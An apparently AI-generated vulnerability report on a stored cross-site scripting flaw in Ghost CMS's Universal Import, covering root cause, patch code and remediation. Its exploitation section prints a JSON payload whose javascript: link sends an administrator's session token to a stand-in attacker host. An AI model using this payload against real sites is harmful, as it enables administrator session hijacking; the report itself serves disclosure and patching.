CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-70588

CVE-2026-70588: Stored Cross-Site Scripting via Universal Import in Ghost CMS

Amit Schendel
Amit Schendel
Senior Security Researcher

Aug 5, 2026·7 min read·11 visits

Executive Summary (TL;DR)

A stored Cross-Site Scripting (XSS) vulnerability in Ghost CMS (versions 5.26.0 to 6.54.0) allows administrative users to inject malicious scripts via the Universal Import feature, leading to administrative session hijacking when other users view the imported content.

CVE-2026-70588 is a stored Cross-Site Scripting (XSS) vulnerability in Ghost CMS versions 5.26.0 through 6.54.0. The vulnerability exists within the Universal Import feature of the Ghost Admin interface. When processing imported content from third-party platforms such as Revue, the importer fails to sanitize user-controlled HTML tags, rich-text structured JSON, or link fields before rendering them in the Ghost Admin panel and front-end template rendering contexts.

Vulnerability Overview

Ghost is an open-source, Node.js-based content management system. It exposes a web-based administration control panel called Ghost Admin. Within this administration boundary, high-privileged users have access to import and export utilities, which allow content migrations from legacy Ghost installations and third-party systems like the newsletter platform Revue.

The Universal Import mechanism represents a significant attack surface because it processes structured formats including JSON files and ZIP archives. This ingestion pipeline converts arbitrary external records into schema-conforming database records. During this parsing operation, the application must normalize heterogeneous attributes into internal models such as posts, members, and settings.

CVE-2026-70588 is a stored Cross-Site Scripting (XSS) vulnerability arising from a failure to sanitize input during this normalization process. Specifically, the import engine accepts unsanitized HTML elements and malformed URL protocols inside imported properties. This allows an attacker to inject execution vectors that persist in the database and subsequently execute when administrative users review the records.

Root Cause Analysis

The root cause of CVE-2026-70588 resides in two separate injection pathways in Ghost's content ingestion and rendering architecture. The first pathway involves the feature_image_caption property associated with posts. The system design relies on Handlebars templates, which escape standard HTML entities by default unless marked as a SafeString. To provide formatting flexibility for image captions, developer-defined properties are explicitly wrapped in a Handlebars SafeString class.

However, the backend framework instantiated these SafeString wrappers directly on raw, unvalidated string values retrieved from the database. The system assumed that the administrative ingestion boundaries had already sanitized the input. Because the Universal Import interface lacked validation controls, any HTML elements present in the imported archive were written directly to the database. Upon rendering in the preview modal (modal-post-history.js) or frontend templates (proxy.js), the raw payload executed in the victim's browser context.

The second injection pathway exists in the Revue-specific converter (json-to-html.js). This component parses structured JSON exports from the Revue newsletter platform and generates equivalent HTML tags. The parser mapped the input object's url property directly into standard HTML anchor tags (<a>) without validating the scheme or escaping attributes. This enabled both protocol-based execution (using schemes like javascript:) and HTML attribute breakout (using unescaped double quotes inside the URL attribute field).

Code-Level Analysis

The technical remediation was implemented in commit a8bea3a4ceec4c852b880f4885119453c3d8588e. The fix addresses the vulnerability by introducing two primary defense mechanisms: client and server-side DOM sanitization via DOMPurify and rigid protocol-level URI validation.

In the vulnerable version of the frontend admin controller, the feature_image_caption properties were parsed and rendered dynamically inside the modal-post-history.js file without validation. The patch resolves this by introducing DOMPurify to clean the caption and enforce a strict permit list of allowable tags:

import Component from '@glimmer/component';
import DOMPurify from 'dompurify'; // Added in patch
 
get selectedRevision() {
    const revision = this.revisionList[this.selectedRevisionIndex];
    // Enforce strict sanitization on the image caption
    revision.feature_image_caption = DOMPurify.sanitize(revision.feature_image_caption, {
        ALLOWED_TAGS: ['a', 'b', 'i', 'span'],
        ALLOWED_ATTR: ['href', 'style'],
        ALLOW_DATA_ATTR: false,
        ALLOW_ARIA_ATTR: false
    });
    return revision;
}

Additionally, the patch addresses the template rendering engine (proxy.js) to secure server-side execution. The backend engine instantiates DOMPurify using a virtual DOM environment provided by jsdom. This ensures that even if unsanitized data resides in the database, the server cleanses it prior to instantiating the Handlebars SafeString instance:

const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DOMPurify = createDOMPurify(new JSDOM('').window);
 
(Array.isArray(data) ? data : [data]).forEach((resource) => {
    // feature_image_caption contains HTML, making it a SafeString
    if (resource.feature_image_caption) {
        // Sanitize the caption prior to declaring it a SafeString
        const sanitizedCaption = DOMPurify.sanitize(resource.feature_image_caption, {
            ALLOWED_TAGS: ['a', 'b', 'i', 'span'],
            ALLOWED_ATTR: ['href', 'style'],
            ALLOW_DATA_ATTR: false,
            ALLOW_ARIA_ATTR: false
        });
        resource.feature_image_caption = new SafeString(sanitizedCaption);
    }
});

Finally, the Revue parser in json-to-html.js was modified to validate the incoming url parameter. Instead of interpolating the raw string directly into the template, the system executes a validator function (getValidURL) that enforces protocol validation and rejects non-standard URI schemes:

const getValidURL = (url) => {
    const normalizedURL = typeof url === 'string' ? url.trim() : '';
    if (!normalizedURL) {
        return '';
    }
    try {
        const parsedURL = new URL(normalizedURL, 'https://example.com');
        if (parsedURL.protocol === 'http:' || parsedURL.protocol === 'https:') {
            return normalizedURL;
        }
    } catch {
        // Invalid URLs are omitted from imported links
    }
    return '';
};

Exploitation & Attack Methodology

To execute this attack, an offensive actor must first acquire administrative credentials or compromise an existing account with import privileges. Since the vulnerability is located behind the authentication wall, the threat actor operates from an authenticated perspective. The execution complexity is classified as high because the attacker must assemble a valid JSON schema or ZIP structure conforming to Ghost's parser.

An attacker begins by preparing an export file containing malicious payloads. For a Revue import exploit, the actor crafts a JSON object representing a post where the image caption or link entity contains an injection payload. The payload can be designed to steal the current session tokens or execute admin-level administrative commands:

{
  "item_type": "link",
  "url": "javascript:fetch('https://attacker.example.com/exfil?session=' + encodeURIComponent(localStorage.getItem('ghost-admin')))"
}

Once the archive is constructed, the attacker uploads it via the Ghost Admin settings portal. Because the parsing engine does not sanitize the input, the payload is successfully stored in the SQL database. When a target administrator reviews the imported content, the browser parses the unescaped script, allowing the attacker to hijack the active session.

Impact Assessment

The security impact of CVE-2026-70588 is substantial, despite its classification of Medium severity under CVSS v3.1. While the vulnerability requires high privileges (PR:H) to perform the initial import, the subsequent execution occurs within the context of any user who views the imported post revisions or templates.

If a victim with elevated administrator privileges accesses the infected post revisions, the malicious JavaScript executes with their active permissions. This allows the script to bypass multi-factor authentication (MFA) controls because it operates within an established, authenticated session. The script can perform actions on behalf of the administrator, such as modifying system settings, adding backdoor accounts, or exfiltrating sensitive subscriber lists.

Additionally, because the vulnerability also impacts the frontend template rendering (proxy.js), unauthenticated external visitors who view the published post might also trigger the script execution. This widens the impact from internal administrative session hijacking to public-facing watering-hole attacks.

Remediation & Patch Analysis

Remediation requires upgrading the Ghost application to version 6.54.1 or higher. The patch fully mitigates the reported attack vectors by applying client-side sanitization, server-side template cleaning, and rigorous schema validation on imports. Administrators should perform this upgrade using the command-line utility: ghost update.

For environments where an immediate upgrade is not feasible, temporary mitigation strategies must be applied. Administrators should restrict import privileges by limiting administrative access to trusted personnel. Additionally, implementing a robust Content Security Policy (CSP) header through the web server (such as Nginx or Cloudflare) will block the execution of inline scripts and unauthorized network connections.

An assessment of the patch indicates that the fix is comprehensive. By utilizing DOMPurify to sanitize HTML attributes and tags at both the API and render levels, and by validating URL protocols in the import processors, the developers have closed the known vectors. However, security teams should continuously audit any custom templates or third-party integrations that leverage Handlebars SafeString wrappers to ensure no similar bypasses exist in other modules.

Official Patches

GhostGitHub Security Advisory GHSA-2gx6-7gx2-wwcf

Fix Analysis (1)

Technical Appendix

CVSS Score
5.0/ 10
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:L

Affected Systems

Ghost CMS

Affected Versions Detail

Product
Affected Versions
Fixed Version
Ghost
Ghost Foundation
>= 5.26.0, < 6.54.16.54.1
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS Severity5.0 (Medium)
Exploit StatusNone
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The application does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Vulnerability officially disclosed and advisory published.
2026-08-04
Patched version v6.54.1 released.
2026-08-04

References & Sources

  • [1]GitHub Security Advisory GHSA-2gx6-7gx2-wwcf
  • [2]Fix Commit a8bea3a4
  • [3]Ghost Pull Request 29635
  • [4]Ghost Release Tag v6.54.1

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•21 minutes ago•CVE-2026-12243
7.5

CVE-2026-12243: Incomplete Path Traversal Validation and Percent-Encoding Bypass in NLTK

CVE-2026-12243 is a path traversal vulnerability in the Natural Language Toolkit (NLTK) version 3.9.4. The flaw exists because the input validation routine fails to account for percent-encoded directory traversal sequences like '..%2f' before passing them to urllib.request.url2pathname(), which decodes them into active traversal sequences.

Amit Schendel
Amit Schendel
0 views•8 min read
•about 1 hour ago•CVE-2026-73654
8.5

CVE-2026-73654: Prototype Pollution in Trigger.dev leading to Cascading Denial of Service

CVE-2026-73654 is a high-severity prototype pollution vulnerability in Trigger.dev. The flaw occurs during the handling of run-metadata updates through the PUT /api/v1/runs/:runId/metadata endpoint. Because user-supplied keys are parsed directly by the @jsonhero/path library without sanitization, an authenticated attacker with low privileges can pollute the global Object.prototype. This causes database queries via Prisma ORM to fail validation and induces unhandled exceptions in the Prometheus metrics client, resulting in a process-wide denial of service.

Alon Barad
Alon Barad
4 views•6 min read
•about 3 hours ago•CVE-2026-73559
6.5

CVE-2026-73559: Uncontrolled Resource Consumption in vLLM API completions

CVE-2026-73559 is an uncontrolled resource consumption vulnerability in the vLLM engine, specifically within the /v1/completions API endpoint, allowing authenticated attackers to cause application-level denial of service via unbounded prompt arrays.

Amit Schendel
Amit Schendel
5 views•5 min read
•about 5 hours ago•CVE-2026-54526
9.9

CVE-2026-54526: Strict Template Referencing Bypass and Privilege Escalation in Argo Workflows

A critical security bypass vulnerability in Argo Workflows allows authenticated attackers with workflow submission privileges to bypass 'Strict' or 'Secure' template referencing restrictions. By injecting unvalidated fields into the nested ArtifactGC configuration, attackers can execute arbitrary pod patches, leading to host namespace escape and cluster-wide privilege escalation.

Alon Barad
Alon Barad
9 views•6 min read
•about 6 hours ago•CVE-2026-54249
6.8

CVE-2026-54249: Server-Side Request Forgery via Confused Deputy in Pydantic AI UI Adapters

A Server-Side Request Forgery (SSRF) / Confused Deputy vulnerability has been identified in Pydantic AI UI Adapters (such as VercelAIAdapter). Under certain conditions, a malicious client can supply manipulated message history with provider metadata that forces the server to resolve files within privileged cloud environments (AWS S3, Google Cloud Storage) or model providers. This occurs because the adapters deserialize client-provided metadata structures directly into UploadedFile instances without validation, which are subsequently fetched using high-privilege server credentials.

Alon Barad
Alon Barad
5 views•7 min read
•about 7 hours ago•GHSA-RM43-82J9-R4MJ
8.2

GHSA-RM43-82J9-R4MJ: Path Traversal (Arbitrary File Read) in atomic-agents-stack Dashboard

A path traversal vulnerability in the optional dashboard server of atomic-agents-stack before version 1.1.0 allows unauthenticated remote attackers to read arbitrary files from the host filesystem.

Amit Schendel
Amit Schendel
4 views•6 min read